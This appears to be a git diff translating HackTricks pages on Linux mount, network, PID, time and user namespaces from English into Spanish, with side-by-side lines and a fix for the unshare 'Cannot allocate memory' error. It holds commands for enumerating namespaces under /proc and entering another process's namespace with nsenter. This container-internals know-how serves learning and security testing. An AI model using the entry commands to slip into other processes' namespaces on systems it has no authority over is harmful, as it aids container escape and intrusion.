- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` no puede asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` en sí se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
``` ```
### &#x20;Verifica en qué namespace está tu proceso
### &#x20;Check which namespace is your process in
```bash ```bash
ls -l /proc/self/ns/mnt ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
``` ```
### Encontrar todos los espacios de nombres de montaje
### Find all Mount namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace # Find the processes with an specific namespace
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash ```bash
findmnt findmnt
``` ```
### Entrar dentro de un namespace de montaje
### Enter inside a Mount namespace
```bash ```bash
nsenter -m TARGET_PID --pid /bin/bash nsenter -m TARGET_PID --pid /bin/bash
``` ```
Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/mnt`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). Debido a que los nuevos montajes solo son accesibles dentro del espacio de nombres, es posible que un espacio de nombres contenga información sensible que solo se puede acceder desde él.
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
### Mount something
### Montar algo
```bash ```bash
# Generate new mount ns # Generate new mount ns
unshare -m /bin/bash unshare -m /bin/bash
@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
vmware-root_662-2689143848 vmware-root_662-2689143848
``` ```
## Referencias
## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
- [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux) - [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux)

View File

@ -2,85 +2,75 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. Un namespace de red es una característica del núcleo de Linux que proporciona aislamiento de la pila de red, permitiendo que **cada namespace de red tenga su propia configuración de red independiente**, interfaces, direcciones IP, tablas de enrutamiento y reglas de firewall. Este aislamiento es útil en varios escenarios, como la contenedorización, donde cada contenedor debe tener su propia configuración de red, independiente de otros contenedores y del sistema host.
### How it works: ### Cómo funciona:
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. 1. Cuando se crea un nuevo namespace de red, comienza con una **pila de red completamente aislada**, con **ninguna interfaz de red** excepto por la interfaz de loopback (lo). Esto significa que los procesos que se ejecutan en el nuevo namespace de red no pueden comunicarse con procesos en otros namespaces o con el sistema host por defecto.
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. 2. **Interfaces de red virtuales**, como pares veth, pueden ser creadas y movidas entre namespaces de red. Esto permite establecer conectividad de red entre namespaces o entre un namespace y el sistema host. Por ejemplo, un extremo de un par veth puede ser colocado en el namespace de red de un contenedor, y el otro extremo puede ser conectado a un **puente** u otra interfaz de red en el namespace del host, proporcionando conectividad de red al contenedor.
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. 3. Las interfaces de red dentro de un namespace pueden tener sus **propias direcciones IP, tablas de enrutamiento y reglas de firewall**, independientes de otros namespaces. Esto permite que los procesos en diferentes namespaces de red tengan diferentes configuraciones de red y operen como si estuvieran ejecutándose en sistemas de red separados.
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. 4. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()`, o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNET`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a utilizar la configuración de red y las interfaces asociadas con ese namespace.
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Namespaces
#### CLI #### CLI
```bash ```bash
sudo unshare -n [--mount-proc] /bin/bash sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a # Run ifconfig or ip -a
``` ```
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consequence**: 2. **Consecuencia**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a # Run ifconfig or ip -a
``` ```
### &#x20;Verifica en qué namespace está tu proceso
### &#x20;Check which namespace is your process in
```bash ```bash
ls -l /proc/self/ns/net ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
``` ```
### Encontrar todos los espacios de nombres de red
### Find all Network namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:" sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace # Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number> sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
``` ```
### Entrar dentro de un espacio de nombres de red
### Enter inside a Network namespace
```bash ```bash
nsenter -n TARGET_PID --pid /bin/bash nsenter -n TARGET_PID --pid /bin/bash
``` ```
Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). ## Referencias
## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,89 +2,79 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. El namespace PID (Identificador de Proceso) es una característica en el núcleo de Linux que proporciona aislamiento de procesos al permitir que un grupo de procesos tenga su propio conjunto de PIDs únicos, separado de los PIDs en otros namespaces. Esto es particularmente útil en la contenedorización, donde el aislamiento de procesos es esencial para la seguridad y la gestión de recursos.
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. Cuando se crea un nuevo namespace PID, el primer proceso en ese namespace se le asigna el PID 1. Este proceso se convierte en el proceso "init" del nuevo namespace y es responsable de gestionar otros procesos dentro del namespace. Cada proceso subsiguiente creado dentro del namespace tendrá un PID único dentro de ese namespace, y estos PIDs serán independientes de los PIDs en otros namespaces.
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. Desde la perspectiva de un proceso dentro de un namespace PID, solo puede ver otros procesos en el mismo namespace. No es consciente de los procesos en otros namespaces y no puede interactuar con ellos utilizando herramientas tradicionales de gestión de procesos (por ejemplo, `kill`, `wait`, etc.). Esto proporciona un nivel de aislamiento que ayuda a prevenir que los procesos interfieran entre sí.
### How it works: ### Cómo funciona:
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. 1. Cuando se crea un nuevo proceso (por ejemplo, utilizando la llamada al sistema `clone()`), el proceso puede ser asignado a un nuevo namespace PID o a uno existente. **Si se crea un nuevo namespace, el proceso se convierte en el proceso "init" de ese namespace**.
2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. 2. El **núcleo** mantiene un **mapeo entre los PIDs en el nuevo namespace y los PIDs correspondientes** en el namespace padre (es decir, el namespace del cual se creó el nuevo namespace). Este mapeo **permite que el núcleo traduzca PIDs cuando sea necesario**, como al enviar señales entre procesos en diferentes namespaces.
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. 3. **Los procesos dentro de un namespace PID solo pueden ver e interactuar con otros procesos en el mismo namespace**. No son conscientes de los procesos en otros namespaces, y sus PIDs son únicos dentro de su namespace.
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. 4. Cuando un **namespace PID es destruido** (por ejemplo, cuando el proceso "init" del namespace sale), **todos los procesos dentro de ese namespace son terminados**. Esto asegura que todos los recursos asociados con el namespace se limpien adecuadamente.
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Namespaces
#### CLI #### CLI
```bash ```bash
sudo unshare -pf --mount-proc /bin/bash sudo unshare -pf --mount-proc /bin/bash
``` ```
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos namespaces de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite que un proceso cree nuevos namespaces utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo namespace de PID (denominado el proceso "unshare") no entra en el nuevo namespace; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el namespace de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo namespace se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del namespace si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese namespace.
2. **Consequence**: 2. **Consecuencia**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo namespace lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falla al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo namespace de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo namespace. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo namespace, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarse de que `unshare` se ejecute con la bandera `-f`, el nuevo namespace de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo namespace de montaje tenga una **vista precisa y aislada de la información del proceso específica para ese namespace**.
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
``` ```
### &#x20;Ver en qué namespace está tu proceso
### &#x20;Check which namespace are your process in
```bash ```bash
ls -l /proc/self/ns/pid ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
``` ```
### Encontrar todos los espacios de nombres PID
### Find all PID namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
``` ```
Tenga en cuenta que el usuario root del espacio de nombres PID inicial (predeterminado) puede ver todos los procesos, incluso los que están en nuevos espacios de nombres PID, por eso podemos ver todos los espacios de nombres PID.
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. ### Entrar dentro de un espacio de nombres PID
### Enter inside a PID namespace
```bash ```bash
nsenter -t TARGET_PID --pid /bin/bash nsenter -t TARGET_PID --pid /bin/bash
``` ```
Cuando entras dentro de un namespace PID desde el namespace por defecto, aún podrás ver todos los procesos. Y el proceso de ese namespace PID podrá ver el nuevo bash en el namespace PID.
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. Además, solo puedes **entrar en otro namespace PID de proceso si eres root**. Y **no puedes** **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/pid`)
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) ## Referencias
## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -1,72 +1,62 @@
# Time Namespace # Espacio de Nombres de Tiempo
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot. El espacio de nombres de tiempo en Linux permite desplazamientos por espacio de nombres a los relojes monótonos del sistema y de tiempo de arranque. Se utiliza comúnmente en contenedores de Linux para cambiar la fecha/hora dentro de un contenedor y ajustar los relojes después de restaurar desde un punto de control o instantánea.
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Espacios de Nombres
#### CLI #### CLI
```bash ```bash
sudo unshare -T [--mount-proc] /bin/bash sudo unshare -T [--mount-proc] /bin/bash
``` ```
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consequence**: 2. **Consecuencia**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
``` ```
### &#x20;Verifica en qué namespace está tu proceso
### &#x20;Check which namespace is your process in
```bash ```bash
ls -l /proc/self/ns/time ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
``` ```
### Encontrar todos los espacios de nombres de tiempo
### Find all Time namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace # Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number> sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
``` ```
### Entrar dentro de un espacio de nombres de tiempo
### Enter inside a Time namespace
```bash ```bash
nsenter -T TARGET_PID --pid /bin/bash nsenter -T TARGET_PID --pid /bin/bash
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,103 +1,88 @@
# User Namespace # Espacio de Nombres
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. Un espacio de nombres de usuario es una característica del núcleo de Linux que **proporciona aislamiento de las asignaciones de ID de usuario y grupo**, permitiendo que cada espacio de nombres de usuario tenga su **propio conjunto de IDs de usuario y grupo**. Este aislamiento permite que los procesos que se ejecutan en diferentes espacios de nombres de usuario **tengan diferentes privilegios y propiedad**, incluso si comparten los mismos IDs de usuario y grupo numéricamente.
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. Los espacios de nombres de usuario son particularmente útiles en la contenedorización, donde cada contenedor debe tener su propio conjunto independiente de IDs de usuario y grupo, lo que permite una mejor seguridad y aislamiento entre los contenedores y el sistema host.
### How it works: ### Cómo funciona:
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. 1. Cuando se crea un nuevo espacio de nombres de usuario, **comienza con un conjunto vacío de asignaciones de ID de usuario y grupo**. Esto significa que cualquier proceso que se ejecute en el nuevo espacio de nombres de usuario **no tendrá inicialmente privilegios fuera del espacio de nombres**.
